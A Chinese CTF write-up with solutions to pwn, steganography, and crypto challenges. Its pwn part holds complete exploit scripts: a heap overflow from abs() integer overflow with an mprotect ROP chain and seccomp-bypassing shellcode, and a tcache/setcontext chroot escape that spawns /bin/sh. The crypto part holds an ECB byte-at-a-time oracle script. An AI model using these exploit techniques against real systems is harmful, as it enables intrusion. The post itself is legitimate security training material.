1.  漏洞点利用了abs()函数本身存在的漏洞缺陷,当输入的是0x80000000的时候,会导致整数溢出,进而导致堆溢出。

2.  考察了加解密知识,对于输入输出进行了DES_CBC加解密转换,需要掌握des_CBC加解密方法才能正常获取输入输出。

3.  设置了seccomp限制了system execve函数的利用,也就是说劫持got表的方式不可用,并且禁用了open函数,对于seccomp函数理解不深刻pwn手来说,便以为不能利用open read wirte 的shellcode来读取shellcode了。但其实我只是禁用了64位的open函数,32位的open函数仍可以利用,因此我们写32位的shellcode利用open read write来读取flag。

4.  具体方式就是劫持stack,利用rop链执行mprotect函数赋予执行权限,然后跳转到shellcode执行shellcode。

from PwnContext import *
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
from pyDes import *
from binascii import b2a_hex, a2b_hex
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
sl      = lambda data               :ctx.sendline(str(data))
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
ctx.binary = './pwn'
ctx.remote = ("62.234.32.102", 10000)
def add(idx,size):
sla('ice',0)
sla('where would you like to put',idx)
sla('how long do your want to input',size)

def delete(idx):
sla('ice',1)
sla('which one do you want to delete',idx)

def show(idx):
sla('ice',2)
sla('which one do you want to show',idx)
ru('is :\n')

def edit(idx,content):
sla('ice',3)
sla('which one do you want to change',idx)
sa('now you can change your diary',content)

def change(idx,content):
sla('ice',4)
sa('index',idx)
sa('IV',content)

def read_shellcode():
ascii = ""
with open('shellcode','r') as f:
data = f.readlines()
data = data[0]
data = str(data)[1:-2]
odom = data.split(',')
ascii = map(int,odom)
#return ascii
x86_shellcode = ""
for i in range(len(ascii)):
x86_shellcode += chr(ascii[i])
return x86_shellcode
def decrypto_data(data):
with open('cipher','w') as f:
f.write(data)
payload = './cbc '
os.system(payload)
sleep(1)
cleartext = ""
with open('plain','r') as f:
cleartext = f.read(8)
return cleartext
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

rs('remote')
KEY = "\0\0\0\0\0\0\0\0"
IV = "\0\0\0\0\0\0\0\0"
k = des(KEY, CBC, IV, pad=None, padmode=PAD_PKCS5)

ru('gift :')
heap_leak = int(r(4),16)

#leak libc
add(0,0x38)
add(1,0x38)
add(2,0x38)
add(3,0x38)
add(4,0x38)
add(15,0x38)
change(0x80000000,'\x00'+chr(heap_leak+1)+'\n')
edit(15,p64(0xc1)*2+'\n')
delete(0)
add(5,0x38)
show(1)
data = decrypto_data(r(8))
libc = uu64(data[:6])
#print hexdump(data)
libc_base = libc - 0x3c4be8
#dbg()
print 'libc_base = ' + hex(libc_base)
#leak stack
environ = libc_base + 0x3c6f38
print 'environ = ' + hex(environ)
change(0x80000000,p64(environ)+'\n')
#dbg()
show(15)
data = decrypto_data(r(8))
stack = uu64(data[:6])
main_ret = stack - 0xf0
print 'main_ret : ' + hex(main_ret)
libc_leak_heap = libc_base + 0x3c4b80

#leak heap
change(0x80000000,p64(libc_leak_heap)+'\n')
#dbg()
show(15)
data = decrypto_data(r(8))
heap_base = uu64(data[:4]) - 0x140

print 'heap_base : ' + hex(heap_base)
lg('heap_base',heap_base)
#raw_input()

#get shell
#dbg()
edit(4,'./flag/asdad/wer/po/tr/flag\n')
# edit(4, './flag.txt\n')
payload = 'python shellcode.py '+str(heap_base)
os.system(payload)
shellcode = read_shellcode()
pop_rdx = libc_base + 0x1b92
pop_rsi = libc_base + 0x202f8
pop_rdi = 0x021112 + libc_base
mprotect = 0x101830 + libc_base
change(0x80000000,p64(main_ret)+'\n')
payload = p64(pop_rdi) + p64(heap_base) + p64(pop_rsi)  + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect)
edit(15,payload)
change(0x80000000,p64(main_ret+0x38)+'\n')
edit(15,p64(heap_base+0x150)+'\n')
#dbg()
edit(1,shellcode[:0x20]+'\n')
change(0x80000000,p64(heap_base+0x170)+'\n')
#dbg()
edit(15,shellcode[0x20:]+'\n')
#dbg()
sla('ice',5)
irt()

还有一个点是flag的位置,如果直接执行cat flag拿到的是假flag,需要自己探测flag目录。
shellcode,DES_CBC加解密,查找flag的脚本【也可以手动】就不放了 自己尝试。

jailbreak

通过off by one实现tcache attack,修改money。从而获得dup的fd,通过劫持tcache结构体(中间可能需要修复tcache_num),劫持__free_hook为setcontext,执行chdir(fd)来实现chroot逃逸。

# -*- coding: utf-8 -*-
import sys
import os
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = b"CRITICAL"
remote_ip        = b'127.0.0.1'
remote_port      = 9999
binary_file      = './%s' % "jailbreak"
#context.terminal = ['tmux', 'splitw', '-h']
local_libc_file  = b'./libc-2.27.so'
remote_libc_file = b''
def exploit(sh,remote = False,awd = False,awd_binary_file = ''):
global binary_file,local_libc_file,remote_ip,remote_port,local_libc_file,remote_libc_file
elf = context.binary
if (awd or remote) and remote_libc_file != "":
lib = ELF(remote_libc_file)
else:
lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
s       = lambda data               :sh.send(str(data))
sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
sl      = lambda data               :sh.sendline(str(data))
sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
irt     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ru7f    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
ruf7    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
lg      = lambda data               :log.success(data)
def add(name_size,description_size):
sla("Action:","B")
sla("Item name size:",str(name_size))
sla("Item description size:",str(description_size))
def edit(idx,name,description):
sla("Action:","M")
sla("idx:",str(idx))
if name != "":
sla("Modify name?[y/N]","y")
sa("new name:",str(name))
else:
sla("Modify name?[y/N]","n")
if description != "":
sla("Modify description?[y/N]","y")
sa("new description:",str(description))
else:
sla("Modify description?[y/N]","n")
def free(idx):
sla("Action:","S")
sla("idx:",str(idx))
def show():
sla("Action:","W")
def backdoor():
sla("Action:","\xFF")
sla("Action[y/N]",'y')
add(0x18,0x18)
add(0x18,0x18)
edit(0,'\x11' * 0x18 + "\n",'\x12' * 0x18 + "\n")
free(0)
add(0x18,0x18)
show()
ru("Item name: ")
heap_base = uu64(r(6)) - 0x280
edit(0,'\x13' * 0x18 + "\n",'\x14' * 0x18 + p8(0x41))
free(0)
add(0x18,0x29)
free(1)
edit(0,'\x13' * 0x18 + "\n", '\x14' * 0x18 + p64(0x21) + p64(heap_base + 0x250 + 0x10) + "\n" )
free(0)
add(0x18,0x18)
add(0x18,0x18)
edit(1,'\x15' * 0x18 + "\n",p64(0xcafecafe) + "\n")
backdoor()
ru("secret:")
dir_fd = int(ru("\n").strip(),10)
add(0x28,0x28)
add(0x28,0x28)
edit(2,'\x16' * 0x28 + p8(0x51),"\n")
free(2)
add(0x28,0x48)
free(3)
edit(2,'\x16' * 0x28 + "\n",'a' * 0x28 + p64(0x31) + p64(heap_base + 0x010) + "\n")
add(0x28,0x28)
add(0x28,0x38)
edit(4,p64(0x0800000000000000) + "\n",p64(0xcafecafecafecafe) + "\n")
add(0x38,0x38)
add(0x38,0x38)
edit(5,'\x15' * 0x38 + p8(0x91),'\x16' * 0x18 + '\n')
edit(6,'\n',p64(0) + p64(0x31) + "\n")
free(5)
add(0x38,0x38)
show()
ru("Item idx: 5")
ru("description: ")
main_arena = uu64(r(6)) - 224
libc = main_arena - 0x10 - lib.symbols[b'__malloc_hook']
lib.address = libc
system = lib.symbols[b'system']
binsh = lib.search(b"/bin/sh\x00").next()
__free_hook = lib.symbols[b'__free_hook']
__malloc_hook = lib.symbols[b'__malloc_hook']
pop_rdi_ret = libc + 0x000000000002155f
pop_rsi_ret = libc + 0x0000000000023e8a
pop_rdx_ret = libc + 0x0000000000001b96
pop_rdx_rsi_ret = libc + 0x0000000000130889
ret = libc + 0x00000000000008aa
add(0x38,0x38)
free(6)
edit(7,p64(heap_base + 0x60) + "\n",p64(0xcafecafecafecafe) * 4 + p64(0x3c0 + heap_base) + p64(ret) + "\n")
add(0x38,0x48)
add(0x38,0x48)
edit(8,p64(0xdeadbeefdeadbeef) + "\n",p64(lib.sym['__free_hook']) + "\n")
edit(4,p64(0x0800000000010000) + "\n",p64(0xcafecafecafecafe) + "\n")
add(0x38,0x48)
edit(9,p64(lib.sym['setcontext'] + 53) + "\n",'\n')
edit(5,p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(0x1000)+ p64(heap_base + 0x3b0) + p64(lib.sym['read'])+"\n",'\n')
free(7)
payload = 'a' * 64
payload += p64(pop_rdi_ret) + p64(dir_fd)
payload += p64(lib.sym['fchdir'])
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(ret)
payload += p64(system)
sl(payload)
sleep(0.5)
sl("echo deadbeef && cd ../ && cat flag.txt")
ru("deadbeef")
irt()
def CTF_exploit(argv):
global remote_ip,remote_port,binary_file
argv_len = len(argv)
context.log_level = b"DEBUG"
context.binary = binary_file
if argv_len == 1:
sh = process(binary_file)
exploit(sh)
return
elif argv_len == 3:
sh = remote(argv[1],argv[2])
exploit(sh,remote = True)
return
else:
sh = process(binary_file)
exploit(sh)
if __name__ == b"__main__":
CTF_exploit(sys.argv)

Misc

耗子尾汁

1. 2.9M的gif图

binwalk分离后得到2^4_2^5_2^6.mp4,flag.txt

图片

其中flag.txt当然是假的

2. 2^4_2^5_2^6.mp4

再次binwalk分离得到有密码的压缩包

图片

但没有提示密码相关信息,爆破可能性不大,所以逐帧看mp4文件得到c2lnbl9pbg==

图片

base64解码后得到”sign_in”即为压缩包密码

3. 19_20.txt

解压后看到一长串字符串 拿去解base64后还是一长串奇奇怪怪的东西

图片

想到mp4文件的名字很奇怪”2^4_2^5_2^6” 可以猜到base64,base32,base16依次解开后即为txt文件内提示的最后一层单表替换密码

txt文件的名字”19_20” 为仿射加密的两个参数a,b的值,解开即为flag字符串

图片

按题目要求的格式改为 flag{you_have_signed_in_successfully} 即可

弱弱说一句,这道题的提示全在文件名

2^4_2^5_2^6对应base16.32.64编码,19_20对应仿射的两个参数

然后可以解得flag

找找吧

下载附件是一个压缩包,解压发现需要密码,把压缩包拖到十六进制查看器里,最后有解压密码,解压后有两个文件,一个MP3文件,一个压缩包,压缩包有密码,所以只能检测MP3文件。

图片

MP3文件可以正常播放,也可能用一些播放器无法播放,会显示一张图片,直接将mp3文件放入audacity中会导致无法正常加载,因此将MP3文件放入十六进制查看器,由文件头可以看出是rar文件,将后缀名改为rar,解压,(如果是adobe的audacity不需要这一步)得到一张图片和一个MP3文件。图片里写明没用,所以不管图片,MP3文件播放,是首看似很正常的歌,但是如果将进度条拖到最后会发现有不正常的声音,用audacity打开,发现音频最后有不正常的音频。

图片

放大后发现可能是摩斯密码,解密后得到字符串,去解压缩包,发现密码错误,观察字符串格式,可能是md5,解密后得到真密码,解压压缩包,得到一个gif文件和hint.png文件,gif文件可以看到一个字符串,可以用各种工具逐帧查看

图片

png文件很明显少了底下的一部分,在十六进制查看器中更改图片高度,具体更改位数百度,后得到提示Veni,vidi,vici,

图片

百度发现这是凯撒大帝的名言,因此得知是凯撒密码加密,而位移的位数等于加密后的flag在gif中的帧数即九位,也可以一位一位试出来,最终得到flag。

来猜谜了

压缩包打开后是一个 png 图片

图片

关键信息:老色批,首字母是lsp,应该可以联想到lsb隐写,用stegslove将数据提取出来。

图片

从文件头可以看出隐写进去的是zip文件,直接保存为zip就行了。不过也有师傅是直接用binwalk分离出来,然后将文件修补好的。

图片

分离出的压缩包打开后有一个 mi.jpg 和一个流量数据包。

图片

用wireshark打开流量包可以看到是usb协议,且leftover capture data域的数据长度为八个字节,所以可以判断出是键盘流量包。在kali中用tshark命令将leftover capture data域的数据提取出来。

图片

图片

然后就可以直接用键盘流量分析的脚本把敲击了哪些键分析出来,网上这种脚本很多,我就这不发了,嘿嘿。

图片

得到的字符串是:AG DX AG DX AG DX

这是一串用ADFGX编码方式加密的字符串

图片

通过对照表就可以得到明文: gogogo

然后就剩mi.jpg了,flag是隐写在mi.jpg中的,隐写方式是outguess隐写,gogogo就是密钥。其实题目名和题目说明都有猜,这就是在提示隐写方式。直接用工具把flag分离出来就行了

图片

图片

套娃

我的题确实简单队友把我想出得先出了,没法知识点不可能重复把。唉挺难受得把想在bash里去藏key得结果有得比赛先出了。唉我背锅把出简单

一个xlsx文件,直接改后缀为zip,解压得到一个xlsx和一个RC4data.txt,

xlsx文件在改后缀为zip解压得一个xlsx文件和一个加密得zip文件

在xlsx文件尾可以找到压缩包密码解压得到密钥

Crypto

happy

#exp.happy
#python3
import binascii
import gmpy2
from z3 import *
s = Solver()
p=Int('p')
q=Int('q')
s.add(q+q*p**3 == 1285367317452089980789441829580397855321901891350429414413655782431779727560841427444135440068248152908241981758331600586)
s.add(p*q+q*p**2 ==1109691832903289208389283296592510864729403914873734836011311325874120780079555500202475594)
if s.check() == sat:
    print(s.model())
n=0x989f5774c6f199031dc64d5aad7907665ea5e03cde2d74da21
e=0x872a335
c=0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9e
p = 1158310153629932205401500375817
q = 827089796345539312201480770649
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(binascii.unhexlify(hex(m)[2:].strip("L")))

Yusa的密码学课堂—CBC第一课

  1. 这一题的考点是CBC的字节翻转,需要对CBC模式具有一定了解

图片

可见在解密时是先进行AES解密,随后异或iv(或者前一组密文)才得到明文。

  1. 在这一题中,我们的用户名在二组(除去iv),所以在第二次交互我们修改第一组密文的对应字节,就可以让用户名对应的字节翻转。
  2. 改了第一组密文的一个字节后,解密时整个明文会乱掉,不满足”yusa”*4的条件,对此我们需要最后一次交互改整个iv,计算规则就是: 原来的iv^第一组明文(乱)^“yusa”*4

Yusa的密码学课堂—ECB

1.由于是ECB的模式,所以当我们输入十五个’0’后,服务会将十五个’0’+flag加密,而此时第一组就是十五个’0’和flag的第一个字符。即,返回的明文的第一组是’0’*15 + flag[0]的密文。

2.我们遍历0-255,发送’0’*15+chr(i),看返回的密文是不是和最初获得的密文的第一组一致,如果一致,那么此时的chr(i)就是flag的第一位。

3.有了第一位我们就可以发送’0’*14+flag[0]过去,此时返回的第一组密文就是’0’*14+flag[0]+flag[1]的密文了,我们继续用第2步的方法就可以恢复flag[1]了。

4.如此循环往复,逐位爆破flag。

   def exp():  
       sh = remote("0.0.0.0","9999")  
     
       pre="0"*47  
       flag=""  
       for block in range(41):  
           #发送填充,泄露一位flag,并获取密文  
           sh.recvuntil("Amazing function: ")  
           sh.sendline(pre.encode('hex'))  
         target = sh.recvuntil("\n")[:-1][64:96]  
         for i in range(256):  
             #遍历字符,找到与获取密文一致时的情况时,即得到一位明文  
             tmp = '0'*(47-block)+flag+chr(i)  
             sh.recvuntil("Amazing function: ")  
             sh.sendline(tmp.encode('hex'))  
             now = sh.recvuntil("\n")[:-1]  
             if now[64:96] == target:  
                 flag += chr(i)  
                 #修改填充  
                 pre = pre[:-1]  
                 break  
     return flag[7:-2]

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!